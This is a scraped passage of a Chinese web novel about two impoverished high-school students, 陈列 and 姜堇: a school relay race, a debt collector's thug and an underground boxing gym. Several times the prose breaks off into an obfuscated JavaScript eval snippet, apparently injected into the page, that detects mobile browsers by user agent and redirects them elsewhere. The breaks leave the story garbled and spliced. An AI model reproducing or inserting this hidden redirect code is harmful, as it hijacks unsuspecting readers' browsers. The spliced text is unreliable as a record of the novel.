陈列挑了下眉,有些想抬眸看她一眼,却摁下眉眼,把烟盒塞进口袋,掏出手机。 正当他准备付款的时候。 一个肥腻的中年男人走进店里来,一身洗发店独有的过分浓香的脂粉气。对陈列这么个大活人熟视无睹似的,径直走到柜台边站在姜堇面前。 含笑的声调同样肥腻:“阿堇,我老婆又打牌去啦?” 他一只戴金戒指的手在柜台上反反复复地敲着,姜堇白皙的手腕就落在他手边,直到他“哟”了一声,伸手在姜堇雪白的皓腕上一拂:“近十月的天了,怎么还有蚊子?” 姜堇坐着没动,看了陈列一眼。 陈列收回眼神,盯着柜台上摆放的二维码。 中年男人这才意识到超市里有人似的,睨陈列一眼:“付完没?付完赶紧走啊。” 陈列朝他的方向瞥过去。 少年人直接而没温度的眼神令男人一凛,陈列已经转身走出超市去了。 “搞什么,神里神经的。”中年男人好像也没了兴致,骂骂咧咧走出超市,步调比陈列更快,掏出黄金色的手机扬声打着一个电话:“喂,小玫啊,按摩店现在有空不啦?” 身后响起轻轻的步调。 陈列回眸的时候,姜堇的身影伴着漫天晚霞。 “我饿了。”姜堇说。 陈列看着她。 她很轻地挑了下唇角,问陈列:“你饿么?” - 陈列冲小超市一扬下巴:“你不是在上班?” 姜堇点点头:“我是走不开,就在超市里吃吧。” 陈列跟着姜堇走进超市。 姜堇瞥他一眼。他总是很沉默,不说话的时候唇角紧抿,很俊朗的长相,却有些显凶。 姜堇指指柜台上那一排泡面:“你吃什么?” 陈列随手拿了盒红烧牛肉。 姜堇比他个子矮些,伸手拿货架最顶上一排的泡面时会拉长腰线,不过笼在大大的校服里,什么也看不出来。 陈列以为她会拿什么香菇鸡汤之类的清淡口味,她却拿了盒泡椒牛肉。 给陈列搬了把掉漆的暗红凳子,自己又走回柜台里面去。 陈列在超市门口坐下。等电水壶里的水咕嘟嘟烧开时,姜堇握着水性笔趴在柜台上写英语卷子。不看她双眼的时候,她鬓角边的碎发垂落下来,显得很柔软。 陈列不看她,扭头望着门外的晚霞,习惯性把烟盒从口袋里摸出来,撕了外面一层膜,指尖在银箔纸上点一下,想起什么似的,又把烟盒塞回口袋去。 没当着女生的面抽烟。 水快烧开的时候,姜堇开始撕泡面里的调料包袋。把滚沸的水冲进纸盒,又把烧水壶放回柜台上。 陈列站起来,拿起水壶,把水冲进自己的面碗,又端着面碗走回门边的暗红木凳子坐下。 很多年后,当姜堇拿着精致的英国皇家银匙,坐在水晶灯摇曳的餐厅里喝一碗意大利主厨料理的汤时。 那时她的名字已叫“姜雪照”,陈列穿着一身黑的西装站在她身后,那时他已是她的保镖,私下没权利跟她说一句话。 他看着她低头喝汤时雪白的后颈,上面一颗浅浅棕色的小痣,总会想起很多年前,两人坐在一间逼仄的小超市里,她坐在玻璃柜台后,他坐在秋风拂动的门口,一人捧着一碗方便面。 她吃泡椒口味,辛辣的味道传出来。他吃饭总是很快,这大概是被追债人逼出来的习惯,不快点大口吃完的话,不知一顿饭何时就会被突然打断。 再然后,很长时间就吃不上一顿饱饭了。 他三两口吃完了整碗泡面,其实很烫,口腔黏膜都在灼烧。他扭头去看她的时候,她正好也朝他看过来,白皙的小脸熏蒸在水蒸气里,一双眼似干净的鹿。 叉子上还挑着一点面条,一张唇辣得红扑扑的,让人想起那夜她抹艳红口红时的模样。 有股与年纪并不相符的风情。 “第一,”陈列开口:“我很怕麻烦。” 姜堇静静看他。 “第二,”陈列继续道:“还是我很怕麻烦。” “你要我说人生的一百条准则,一百条都是我很怕麻烦。”陈列把吃空的方便面盒放在脚边,终是从口袋里掏出烟盒来,抽出一根烟咬在嘴里,没点,咬着那淡黄烟嘴没任何感情地对姜堇说:“我知道你想干嘛,我劝你别费这个事。” 陈列不蠢。 甚至从小的经历,让他有一种远超于同龄人的超然。 姜堇接近他,固然不是什么青春期男女的荷尔蒙作祟。也许从第一次见面、他透过船舱望见那被醉酒青年纠缠的红裙少女时,他就敏锐意识到她与他是同一类人。 他们的人生目标是活下去。 其他的事,顾不了那么多也想不了那么多。 姜堇这样一个住在船上的孤女,要面对多少的纠缠骚扰可想而知。陈列没什么英雄主义情节,姜堇说他说得没错,他像一件静静陈列在那里的静物,无悲无喜,不为任何人牵动情绪。 真不知姜堇怎会盯上他。难道姜堇认为他可以保护她? 姜堇没解释,没辩驳,只是轻轻点了下头。 陈列咬着烟站起来,端起地上的方便面盒往外走。走了两步又倒回来,回到玻璃柜体前,掏出手机扫了二维码,付了两碗泡面的钱,端起柜台上姜堇吃完的方便面盒,连同他自己的那盒一同丢进超市外的垃圾桶。 这下真的走了。 夕阳下的垃圾桶内,横流着脏污的各种汁水,和腐败的水果混杂在一起,苍蝇萦绕。 - 十月除了市里的演讲比赛,另一件活动是一中的校运会。 陈列向来与这种活动无缘。架不住叶炳崐圈着他的脖子跟他磨:“列哥,男女混合接力是真缺人,你要是不答应的话,我就让女生来求你。” 陈列一边把他从自己脖子上摘下来,一边很轻地蹙眉。 叶炳崐哈哈大笑:“就知道你怕麻烦。” 又用胳膊肘一搡他:“你一辈子都不跟女生讲话是吧?” 校运会的那天风和日丽,南方难得高远的蓝天,浮着淡白的云。 陈列跑第三棒,很意外地在交接线上看到了一个人。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398599|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜堇。 因为每一棒的人选由各班自由分配,所以会出现第三棒既有男生又有女生的情况。姜堇在接棒线上长身而立,正伸手把自己的马尾向左右两边拉紧。 校运会要求宽松,既可以穿学校统一的运动服,也可以穿私服。 于青春期的男女而言,心里滋生有一种不言而喻的默契,运动会是展示魅力的绝佳场所。所以人人穿着自己精心挑选的运动服,尤其一班那些家境优渥的,各种名牌不一而足,色彩靓丽,一双跑鞋顶人小半年生活费。 就连陈列,也因懒得去领服装、而穿着自己的一件T恤。 整个赛场上只有姜堇一个人穿着学校发的运动服。 那是一种很不入流的暗砖红色,没什么剪裁而言,短袖和短裤都十分宽大。但到底露出了大半的手臂和腿,这才看出姜堇有多瘦,一双腿又白又直。 T恤下摆塞进短裤里,她抬手理头发的时候,不经意露出胸前姣好的起伏。 陈列明显能看到叶炳崐他们在往这边看、嘴里嘀咕着什么。 那天太阳分外地烈,他眯着眼叫了一声:“姜堇。” 那是他第一次叫她的名字。 姜堇显然有些意外,放下手臂朝他这边看过来。 他没任何表情也没任何语气地说:“没什么。” 姜堇看他一眼,也没说什么了。 比赛很快开始。 十一班和一班抽中相邻赛道,前两棒也跑得旗鼓相当,以至于姜堇和陈列是同时伸着手等待接棒。陈列不明白姜堇为什么要参加,她看起来手长脚长的分外文弱。 直到接力棒几乎同一秒被传到他们二人手上。 姜堇起跑的刹那,明显带起陈列身边的一阵风,令陈列惊异到有片刻失神。 直到叶炳崐跳着脚在看台上喊:“列哥!你他妈发什么呆呢!” 陈列挥臂去追赶姜堇的背影。 她穿一双朴素的白色运动鞋,和她白得发光的双腿融为一体。她跑得很快,陈列几乎奋力跑了两三步还没追上她。 直到七八步以后,陈列才嗖地从她身边超了过去。 混合接力本就是最易激发集体荣誉感的项目。叶炳崐挥着手臂在看台上快叫疯了:“冲啊列哥!” 陈列没有回头,耳旁列列而过的风声中,却能听到姜堇的脚步一直跟在他身后。 直到陈列第一个把接力棒交了出去。 他听到隔一条赛道的男生骂一声“靠”,交接棒的同时一个箭步起跳避让。陈列这才看到,姜堇交接棒的时候实在冲得太猛,以至于整个人摔倒在地上,白嫩的手肘在红色塑胶跑道上迅速擦出一道血痕。 陈列有一瞬犹豫要不要拉她。 决定作罢的时刻,却见姜堇已经很快速爬起身来,迅速避让回自己跑道,不阻碍其他任何班级的交接棒。 在这男女混战的第三棒,她竟是第四个完成交棒的。 陈列往赛道外走,叶炳崐已激动地冲下赛道来,一箍他脖子:“列哥,你也太他妈帅了!怎么比其他人快那么多啊?” 陈列往一眼姜堇往自己班走的背影。 她走得很平静,丝毫没刚刚摔过的一瘸一拐,只是胳膊肘一道明显的血痕。 陈列顶着烈日眯了下眼,禁不住想:不过一场普通的校运会而已,跑那么拼干什么?有病啊? 叶炳崐胳膊肘顶一下陈列:“列哥你看什么呢?” “没什么。”陈列收回视线,看叶炳崐又对着十一班的第四棒挥拳:“丁豪你给我冲啊!跑那么慢没吃中午饭啊?!” 9. “小同学。” 姜堇往一班的方向走去,杜珉珉已急急冲她跑了过来。 “怎么搞的啊?”杜珉珉擒住姜堇手腕,轻一扭去看她胳膊肘上的血痕:“摔成这样,快去医务室吧。” 姜堇笑道:“不打紧。” “怎么不打紧呢?”杜珉珉眉锁得更紧:“谁不是被爸妈宠大的呀?这么大一血口子,爸妈看着不心疼啊?” 也许阳光太晃眼,杜珉珉的话令姜堇有一瞬的恍神。 这时李黎走到两人身后来,她是一班的第二棒,听不出什么语气的说了句:“装呢。” 杜珉珉拧着眉便要上前与她理论,被姜堇拉了一把。 杜珉珉回头便想说“姜堇你别这么好脾气”,却见姜堇自己走到李黎面前。 “你说什么?”她轻声问道。 语气很轻而没有任何表情,阳光晃得她那双浅棕色的瞳仁讳莫如深。李黎下意识便想后退半步,却又不想在姜堇面前落下风,便只抿了抿唇。 姜堇用刚刚那种不带任何笑意的眼神又看她一眼,转身走了。 风吹得李黎刚跑出了些汗的皮肤蕴了些凉意。那或许是她第一次发现,姜堇,这个头发柔软的、纤纤的、总带着柔和笑意的女孩,也许并不如她表面看起来那么顺从。 仍是不想落下风,攥着拳在姜堇身后喊:“搞什么,神经病啊!” 杜珉珉挽着姜堇的胳膊笑得格外开怀:“你跟她说什么她气成那样子?” 姜堇也带着浅笑:“没什么。” 这时一群人急吼吼跑过她们身边,杜珉珉拉着姜堇往旁一让才堪堪没撞上,又挽着姜堇回头去看,发现那群人是奔着陈列去的。 叶炳崐在一旁维持秩序,跟那些来送水的同学说:“白水就不收了啊,收冰可乐,百事不收只收可口。” 另外男生去敲叶炳崐的头:“那是你自己爱喝可乐吧。” 叶炳崐笑嘻嘻。 杜珉珉远远看着:“陈列跑步的时候好帅啊!姜堇你觉不觉得?” 姜堇望着少年沐在秋日阳光下。 他的双瞳是一种很浓重的黑,眉毛也黑。对比出他的睫毛显出一种半染浅金的棕,喉结分明,对着围拢过来唧唧喳喳夸他刚才厉害的人群,不笑也不说话。 姜堇也不知是回应杜珉珉、还是自言自语了一句:“帅吗?” 杜珉珉都惊了:“这样的都不帅?那你觉得什么样的帅?” 姜堇笑一笑不说话了。 叶炳崐好容易打发了围拢过来的同学,抱着好些冰可乐:“列哥你这是红了啊。” 陈列还那副神色,没喜悦也没推拒。准确来说,他好像完全没把这事放在心上。 只是发现叶炳崐同他说话的时候,视线落向一个方向。 陈列跟着看了眼。 站在那里的是姜堇和杜珉珉。 杜珉珉手里拿了张创可贴,准备等姜堇喝完水帮她贴。正在喝水的姜堇,那身不入流的暗砖红色运动服,显得她双腿纤直而脆生生的白,化纤材料汗湿了黏在背上。 她仰头喝水,白皙的颈项拉出纤长的线,睫毛垂着,一滴汗自额角滑自深深的颈窝。 陈列又瞥叶炳崐一眼。 发现叶炳崐和他不一样,看向的是姜堇某处姣好的起伏。 陈列拔腿便往前走去。叶炳崐反应过来,跟上,有些讪讪地说:“我可不是对她感兴趣啊,我没那么闲。” 陈列一个字也没回应。 高三的悲惨在于,即便开校运会,仍要上晚自习。 下了晚自习,陈列回到臭水河边,刚要登上自己那条破船,身后一阵沓沓地脚步引着他回头。 是姜堇。 仍穿着白日里那件暗砖红的运动衫,裤子已换成藏蓝校服长裤。她背着书包一路猛跑回来,远远望见陈列才停下脚步。 因她跑得太剧烈,双肩书包一边的肩带滑下来落在肩头。她白皙的额浮一层细汗,胸口剧烈起伏着,却神色平静地望着陈列。 陈列忽就明白了她在校运会上为何跑得那样快。 她每晚都是从学校这样跑回臭水河边来的? 跑得那样猛烈?为什么?竟没比乘公交车回来的陈列慢多少。 好像她那纤薄的身体里,蕴藏着什么按捺不住、压抑不住的东西。 陈列并不想发问。他已不对任何人产生好奇了。 姜堇也没同他说任何一句话,只望了他一眼便收回视线,一边朝自己那条破船走去,一边浑不在意地撕掉了自己手肘处的创可贴。 那是白天杜珉珉小心翼翼替她贴上去的。 姜堇钻回船里,陈列才意识到自己在望着她背影。 他回到船舱,烧水,本想到甲板上洗澡,想到姜堇,便拧了毛巾在船舱里囫囵洗了个。躺到硬而窄的木板上,他一只手臂枕在头下,起先阖着眼,又睁开。 望着黑暗中空无一物的船舱顶。 他忽然意识到,姜堇身上有种难以描摹的吸引力,并不来自于叶炳崐无意间盯着看的、她姣好的曲线。 那是一种风情,来自她身上冲撞的矛盾感。来自她浅棕而柔软的睫、纤而脆弱的颈项、柔和的外表,和一切暗地发狠的、激烈的行为。 陈列翻了个身,阖上眼睡去。 这一切,跟他并没有关系。 - 陈列干得最错的一件事,源自无数个巧合。 如果那天并非他亡母的生日。如果他没有逃掉晚自习。如果他没有在陌生的江城街头看到一一个人肖似他久未谋面的舅舅。 他不会鬼使神差地跟上去。 走过两条街他才发现,那人,好像真是他舅舅。 他舅舅怎会在江城? 他一路跟着走,走到路边电灯“啪”一声亮起、燃起薄暮里第一丝光亮。 舅舅的身影匆匆走入一个小区,陈列抬头看了眼。 小区名叫“鹭城”,茶褐隶书衬在火岩棕背景墙上显出某种高端。陈列跟着一个中年男人跨过门闸,并没被保安拦下来。 舅舅在一片绿化带间穿行。 陈列对着那背影,始终喊不出一声“舅舅”。他沉默着快走两步,一手搭上舅舅的肩。 舅舅回头,目光落在他脸上,显出某种惊愕。 “陈列?”舅舅问:“你在这里干什么?” 说着进一步压低声:“你跟踪我?为什么?” 陈列沉默着,并答不出一句“为什么”。 为着今天是他没任何记忆的亡母的生日?舅舅还记得吗? 陈列看一眼面前慌乱的中年男人,敏锐捕捉到他眼神扫向楼栋下抱着个婴孩的年轻女人。 陈列瞬时明白:那是舅舅的私生子。舅舅借着出差的名义,在江城另安了一个家。 “你快走。”不知是否因着秘密被撞破,舅舅的语调有些气急败坏:“就当今天没碰上我。” 陈列:“我……” “你想找我要钱是不是?”舅舅深拧着眉,神色显出某种中年人的促狭兼穷凶极恶:“我帮你到江城上学真是帮了只白眼狼!这么大个人情你已经还不完了,我一分钱都不会给你!” “你真是和你那不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它们像藤蔓上的葡萄,一扯扯出成串,诚心要把本就疲乏不堪的肩膀压垮一样。 这天下晚自习,他拖在最末离开教室,先是在校门口遇到了姜堇,他紧抿着唇线回避了视线,又敏锐捕捉到,等在校门口的那黑衣男人似曾相识。 大脑几乎来不及反应,身体已下意识闪身到校门口的门柱边。 姜堇便是在这时走出校门来。 穿黑色夹克的男人叼着根烟走上前来:“小同学。” 姜堇站住脚步。 男人三白眼,左眼一条贯通的疤从眉骨连到眼下,显出眼眶内一只毫无生气的义眼。他叼着烟,浓厚的烟雾喷在姜堇白嫩的脸上,问姜堇:“认识陈列吗?看到他了吗?” 陈列避在校门口的门柱边,心脏砰砰砰跳起来,手攥成拳的动作是无意识。 那一瞬脑子里蹦出来的,是锈铁门上的油漆、拍在木桌上的刀、“无意”散落在他家的那些残酷照片。 校门口的一盏路灯显得孤孑,浓黄的光铺洒下来,愈发显出初秋的夜里寒意露重。 陈列能明显感到,姜堇的眼尾不露声色朝他这边瞟了瞟。 然后,姜堇在路灯下顶着那张白皙而无辜的脸:“陈列?” “不认识。”她摇摇头道:“刚才也没看到什么人,同学应该都走了。” 她看上去那样平静,在喷到她脸上的烟雾中,连声音都没有颤抖。 10. 地下室 黑衣男人离开后,陈列才从校门边出来。 登上一辆公交,回到了臭水河边。瞥一眼姜堇的那条旧船,在一片黑寂里,亮着一盏小小的、荧黄的、透着暖意的灯,飘在几近搁浅的河畔上,摇摇晃晃,一如方才摇摇晃晃载着陈列在寂寞城市里游走的公交。 陈列一低头,钻入了自己的船。 如果不是这一系列事,当周日晚上他买完烟、从小超市走出来时,一个小混混缠上来叫他:“喂,给我也买一包。” 理直气壮的语气。 陈列沉默扭头看他一眼。 小混混看着眼前这个少年人,站着的时候颈后到背脊会有一个微微弯出的“S”,低头,扯开塑料,用嘴衔住烟盒里抖出的一根烟。 没点,咬着烟嘴冲小混混看过来。 他用头撞过来几乎与眼神落过来的瞬间是同时,以至于小混混丝毫没有防备,就感觉鼻梁上冒出火星子般。 “你他妈……”小混混一咬牙。 哪有人这样操作的啊!简单,直接,正中要害,不得摆个花架子先示意一下啊? 小混混捂着鼻梁瞪过去,少年人在初笼的夜色中站成一个沉默的影子。 像年代亘古的默片。 小混混就骂了句“你他妈”,也不知这句话哪里进一步激怒了他。小混混挥拳冲上去的时候,他的格挡更为简练粗暴。 小混混一屁股墩儿坐到地上捂住鼻梁:“你……不讲武德!” 这本是句有些搞笑的话。 但没人笑,陈列依旧木然一张脸没任何表情,小混混死捂着鼻梁瞪着双眼。 陈列转身走了。 小混混愣了下爬起来追上去:“你不会讲话啊?” 陈列眼尾扫过来,简练地吐出一个字:“滚。” “别啊。”小混混掏出打火机死乞白赖给陈列把烟点上:“你想赚钱么?” “不想。” “哪有人不喜欢钱的啊?”小混混拽着陈列胳膊:“我叫瘦猴,给你介绍个好工作。” 他硬把陈列拉着走。 陈列几乎有种懒得挣脱的心情。 直到瘦猴把他拉到一座低矮的平房前,明明生锈的门窗紧掩,依然感到有阵逼仄的热浪传来。 陈列在门口站定。 瘦猴催促他:“进去啊。” 陈列扬了扬下巴:“把烟抽完。” “进去抽也没什么打紧。”瘦猴这么说了句,不过也没再催,站在他对面一尺的地方等着。 陈列缄默抽着烟,仰头望着墨黑的夜空。 贫民区连天空都没那么敞亮,被臭水河污浊的气味熏过一遍似的。看了许久,在陈列将要收回眼神的时候,才看到唯一的一颗星一闪。 陈列不知怎的,蓦然想起校运会那天、姜堇站在秋日阳光下喝水的模样。 鹿一般干净纯冽的眸子一闪,像夜幕里的一颗星。 陈列掐灭抽尽的烟头:“进去吧。” 说罢一抽生锈铁门上的门栓。他那般随意的动作不是因为他无畏,而是因为他无所谓。 “哎我先跟你交代下里面的情况……”瘦猴跟在他后面都慌了下。 然而瘦猴还未来得及说什么,陈列已迈了进去。 先扑面而来的是许多人聚在一起的热浪,是骤寒的秋夜里。发臭的甚至不是烟味和汗味,而是很多人皮肤交织在一起的味道。 陈列扫了眼,这是一处拳馆。 很多年后,他跟姜堇或者说“姜雪照”去过无数高端的健身房,大多坐落于五星级酒店或私人会所。那里有崭新的器材洁净的香氛一尘不染的软垫,里面的男女衣着光鲜轻声细语。 而眼前这里,甚至不像一处健身所在。 水泥地面上满是啤酒瓶盖和烟头,还有不知多久没扫过的尘土。角落的沙袋和墙靶都有些开胶,不知多久没人用过了。 唯独人挤人人挨人的是中央一方拳台,一盏说不上是黄是白的炽烈顶灯洒下来,把拳台上厮打在一起的两人身形照得分外清晰,面庞五官却笼在一片阴影里。 随着他们抱在一起厮打,围观人群发出阵阵欢呼或嘘声。 有卖酒女郎端着一杯杯扎啤,在人群中穿行而过。 瘦猴挤到陈列身边:“你只要交一年的会费,你也能上台打拳。你那么能打,能赚钱的。” 陈列问:“合规么?” “合规?”瘦猴极之好笑地嗤了声。 接着他说了极富哲理的一句话:“我们这种人,规矩能保我们过上平安的一生么?” 陈列不语。 瘦猴从他身边溜走了。 端着扎啤的女郎并没有统一着装,但都穿色泽极之艳丽的短裙,要么粉绿,要么鹅黄,在一室逼仄的汗气中露出光溜溜的肩膀。 有女郎扫他一眼:“帅哥,买酒么?十块一杯,很便宜的。” “不买。”大概他声音太冷、表情也冷,女郎看他一眼,又端着托盘走开了。 陈列敏感察觉到角落里有人在看他。 他视线投射过去,像极了拳台中央投下来的射灯,寒冽清晰而不带一丝温度。一个年轻的女孩站在那里,她穿一条灼烈的红裙,在这样诡谲的灯光下却有种冷静燃烧的意味。 她也端着一个大大的托盘,望着陈列,脸上并没像其他女郎一样、浮出那种像油腻妆面一样的笑。 这样她的表情也显得冷静。 继而她穿过人群,向着陈列走过来。 她是姜堇。 随着她走近,她的面庞越来越清晰,然而她的五官并未随之清晰起来。因为她化着极浓烈的妆,那几乎让她的五官显得混沌。 陈列总算明白了第一次遇见她的时候,她为何穿着红裙、化着浓妆。 她在这里卖酒。 她站在陈列面前、还未开口说话的时候。 瘦猴领着个烫短卷发的女人走了过来。女人中年,丰腴,豹纹连衣裙在胸前堆出层层的浪,涂朱漆红的口红,抽着烟眯眼打量陈列一眼。 瘦猴在一旁煽风:“老板娘,他可厉害了!” 女人同样丰腴的手落在陈列小臂,把着捏了捏:“能打拳么?” 陈列垂眸看了眼她的手。 姜堇站在他对面,看着他。陈列不知为何心里涌出一股烦躁,也许因为姜堇冷静的眼神,也许因为这些天发生的破事。 他盯着女人涂黑的指甲,说:“能。” 女人笑了声:“行,在我们拳馆办卡是四百九一年,你先把钱交了。” 打开手机亮出二维码来。 陈列低头扫码付款,女人又扫了扫陈列的眉眼,意味不明地问:“对了,你叫什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女生没绷住哭了出来,身边朋友忙赶来安慰:“好了,他本来就是这样的人,对谁都那么冷……” 姜堇排着队准备打饭,一边和杜珉珉她们说着话,好似全然没注意这边的插曲。 陈列排到旁边一列队尾,依稀听到她们在说—— 杜珉珉:“英语冬令营开始报名了,还是两万六千八,可你知道今年是去哪吗?” “塞班岛!”杜珉珉捧住脸:“好开心喔!我们赶紧去报名,这样可以提前选房间。” “我不报名了。”姜堇笑道。 “啊为什么?”杜珉珉的失望溢于言表:“去年去斯里兰卡你就没去,今年干嘛又不去啊?” 姜堇答:“我要跟爸妈去LA看外婆。” “对吼。”杜珉珉皱着鼻子答:“你家人都在国外的嘛,那就没办法啦。不过你是我最好的朋友哎,你不去我都觉得没意思了。” 姜堇轻捏一捏她的脸:“你跟很多人关系都很好的。” 陈列站在队列里看着她背影,校服洁净到有些刺目的地步。 姜堇显而易见的在说假话。 可她打那么多份工,甚至不惜去酒吧卖酒,难道不就为了赚钱维持这种表面虚荣的生活么? 她的钱都去哪里了? 陈列收回眼神。无论如何,这也不关他的事。 11. “故意的?” 陈列偶尔在学校遇到姜堇,走廊,楼梯转角,或是食堂。 她穿校服,垂着干净到通透的眸眼。 陈列也偶尔在拳馆遇到姜堇,端着托盘,在看拳赛的人群间穿行。 她穿不同款式的短裙,但总归是火焰般灼灼燃烧的红。 两人从不打招呼,没看见对方一般,目不斜视地擦肩而过。 渐浓的秋意是一层层堆叠起来的,落叶叠一层,愈渐清寒的月光再叠一层,寒凉的空气再叠一层。 陈列即将迎来他的第一场拳赛。 这样的拳馆里大家穿得并不正规,紧腰的拳击短裤,戴拳套,再以外也没什么像样的护具了。陈列站在拳台上,裸着上身,露出肌肉的紧致线条和隐隐的腹股沟,那般炽烈的射灯打在后脊上,竟一点也不觉得冷。 有卖酒女郎聚在拳台边,望住他的方向笑,掩着嘴窃窃私语。 没看到姜堇的身影。 陈列的注意力全在对面,对手击打着拳套小碎步蹦跶着,他只是沉默,安静而沉默。 有人在调笑卖酒女郎:“怎么,喜欢小白脸啊?” 这句话压着裁判哨音,伴着陈列出拳,似有破空的啸声。 说那话的人连同所有围观的人都惊了下。一时间,向来喧杂的拳馆陷入漫无边际的沉默。 没人见过这样风格的“拳手”。 他出拳的瞬间反衬着他平时的安静,令安静时的他像只伏击的豹,酝酿着一次凶猛的进攻。他的出拳过分简洁,甚至连必要的防守都放弃,那让他的攻势格外锋利。 对手的反攻,他甚至不避让,只是沉默着闷头接下。 他的一切表现都为了使这场比赛尽快终结。好似拖得太久这件事会令他不耐。 这的确是拳馆有史以来最快的一场比赛。 七分钟。 他总共只用了七分钟。 尽管代价是他的鼻梁上也挨了一拳,皮肉绽开翻出道口子,现在还在往外渗血。 观众甚至忘了欢呼,直到裁判高举起陈列的左手。 陈列从拳台下来,瘦猴陪着老板娘过来。老板娘扫他一眼,要笑不笑地递给他一只信封:“拿着。” 陈列接过:“现金?” “这样的,只能现金。”老板娘挑着红唇。 陈列毫不避讳地抽出几张纸币点了点。 捻着这些钱的触感让他意识到,他同意来打拳甚至不是为了钱。 过分文艺的话与他无关,可他脑子里无端记着一句“不在沉默中爆发,就在沉默中灭亡”。他需要一个发泄的出口。 他换了衣服,把钱揣进口袋,信封扔了,走进洗手间。 勾腰,双手捧了水龙头的水,直接泼在鼻梁的伤口上。 那样的疼痛会让人本能一哆嗦,可陈列的宽肩没有丝毫震荡。他蓦地想起那夜姜堇撕掉手肘创可贴的动作,接着又意识到他和姜堇是截然不一样的,尽管他们都不在意疼痛。 姜堇撕创可贴的动作和她猛烈的奔跑一样,是一种“狠”。而陈列是一种“颓”,一种对一切的浑不在意。 有卖酒女郎娇着声音在外面问:“陈列呢?” 陈列背抵着门、双手握着生锈的门把,一个人待在逼仄的洗手间里。一只不知名的虫豸,绕着没有灯罩的灯泡飞舞。 直到外面的人散得差不多了,陈列才走出洗手间。 拳馆里只剩一个老头,拖着个蛇皮袋在收地上的啤酒瓶。 大概老眼昏花了,拖着蛇皮袋往前一步,脚尖反而踢动啤酒瓶、骨碌碌往更远的方向滚去。 陈列走过去,捡起啤酒瓶扔进他的蛇皮袋。 “谢谢啊年轻人。”老头连连道谢。 陈列并不理会,棒球外套搭在肘弯里走出拳馆,迎面而来的夜风扑得人浑身一寒,陈列却甚至懒得把肘弯搭着的外套穿回身上。 就那样在夜风里走着。 前方那个穿红裙的背影,倒是穿着件大大的粗针条纹毛衣外套,只是露出两条光洁的腿,愈发显得纤细而白皙。 他们仍是像每一次一样,不说话,一前一后地走着。只是在姜堇快要登上旧船以前,她却忽地转过身来,背着手,安静等着陈列走近。 然后走到陈列跟前来,抬手,指尖很轻地触了触陈列的鼻梁。 陈列几乎是一瞬闭眼。 当然,并不疼,因为她指尖只是很轻柔地落在伤口周围,像羽毛。可羽毛没有那样柔和的温度,她身上裹着的那件毛衣外套起了作用,让她指尖在秋夜里透着股融融的暖意,落在陈列被夜风吹凉的皮肤上。 陈列想当然她是会说些什么的。 也许是:“疼吗?” 也许是:“要创可贴吗?” 他睁开眼等待着,可她却什么都没说,一转身,钻进自己的船舱里去了。 第二天去上学,叶炳崐一见他鼻梁上的伤口就炸了起来:“昨晚上人家里偷鸡去了?怎么搞的这是!” 姜堇抱着书和杜珉珉一同走过走廊。 好像永远只有她。 面对复杂的情况,面对骇人的伤口,不好奇、不关切、不审判。 带着干净到平静的一张脸。 - 陈列后来又登台打了几场比赛,和姜堇还是不说话、没交集。 老板娘给他的钱,他随意往口袋里一塞。除了学费以外,他的开销不大,甚至也没想过租套房改善自己的居住条件,只觉得这样的破船里反而不易被人捕捉行踪。 那些钱就被他塞进枕套里,每晚压着睡觉。 深秋了,偶尔在拳馆里遇到姜堇,穿那样的红裙,裸露在外的肩膀冻出一种脆生生的白,似冻牛奶一般愈发显出一种诱人的白皙。 她端着托盘卖酒,有客人一手搭在她肩头:“啤酒冰不冰啊?” 有人笑他:“啧——老王,你别太过分。” 男人已带三分醉态,揽着姜堇的肩又往自己脖子边勾了勾:“我哪里过分?” 不知为何,他牙黄,让人本能觉得他有口气。 姜堇带着点浅笑站着,稳住手里的托盘。 这时,陈列正结束了一场拳赛,从拳台下来,路过她身边,听她对男人说:“你跟我出来一下。” “什么?”男人也不知是真没听清,还是故意作态,拿耳朵凑近姜堇的红唇。 姜堇几不可见地抿一下唇角,笑着重复一遍:“你跟我出来一下。” “好好好。” 陈列进更衣室快速套了长裤、裹上外套。有时晚上只有一场拳赛,打完他会先走,走出拳馆时,正好瞥见姜堇和那男人站在门外的僻静处,那丛半人高的荒草间。 男人听到动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“报警!”男人恼羞成怒:“老子要报警!” 姜堇快速从草丛里爬起来,跑进了拳馆。她应该是去通知老板娘的,一时间,拳馆里的人做鸟兽散,大灯也齐刷刷关了。 男人抱着双臂恼羞成怒站在一旁,晃着脚,在警车的射灯里眯起眼:“警官!他打我!” 姜堇站在一旁:“他猥亵我。” 陈列瞥姜堇一眼。 她说“猥亵”二字的时候口齿清晰,冷静得像在说旁人的事。 警察看了看他们所有人:“一起到警局走一趟。” 男人报的警,先被带去做笔录。 姜堇和陈列在一间空置的办公室里等。 陈列敞开双腿,勾着腰,手肘架在膝头坐着。姜堇坐在他旁边,两条裸露的小腿紧闭着,从陈列的视角只能看到她的双膝。左边膝盖在她躲避男人的狠踹时蹭破了,半凝结的血痕黏着草根。 陈列直起腰来。 姜堇从拳馆里出来的时候没来得及穿外套,此时身上就一条极短的红裙。材质太劣,被男人揪住领口的时候裂开了,露出白皙的胸口。 